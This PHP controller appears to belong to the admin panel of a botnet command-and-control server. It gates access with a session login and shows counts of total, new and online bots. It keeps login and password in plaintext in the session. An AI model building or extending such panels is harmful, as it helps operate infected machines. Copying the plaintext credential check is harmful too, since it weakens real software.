<?php

namespace app\controllers;
if(!defined('ACCESS_CONTROL')) {header($_SERVER['SERVER_PROTOCOL']. ' 404'); exit('404 not found');}

class ControllerSession extends ControllerBase {

    public function __construct()
    {
        session_start();
        parent::__construct();

        if(!$this->is_auth() && (!isset($this->params['get']['do']) || $this->params['get']['do'] != 'auth'))
        {
            $this->redirect('?do=auth');
            exit();
        }else{
            $m_bots = new \app\models\Bot();
            $total_bots = $m_bots->total_bots();
            $today_bots = $m_bots->today_bots();
			$online_bots = $m_bots->online_bots();
            $this->appendData(array('total_bots'=>$total_bots[0], 'today_new'=>$today_bots[0], 'online_bots'=>$online_bots[0]));
        }

    }
    protected  function is_auth()
    {
        return (isset($_SESSION['user']) && $_SESSION['user']['login'] == \lib\Config::read('login') && $_SESSION['user']['pass'] == \lib\Config::read('pass'));
    }

    protected function auth($login, $pass)
    {
        $_SESSION['user']['login'] = $login;
        $_SESSION['user']['pass'] = $pass;
    }
    protected function session_destroy()
    {
        session_destroy();
    }

} 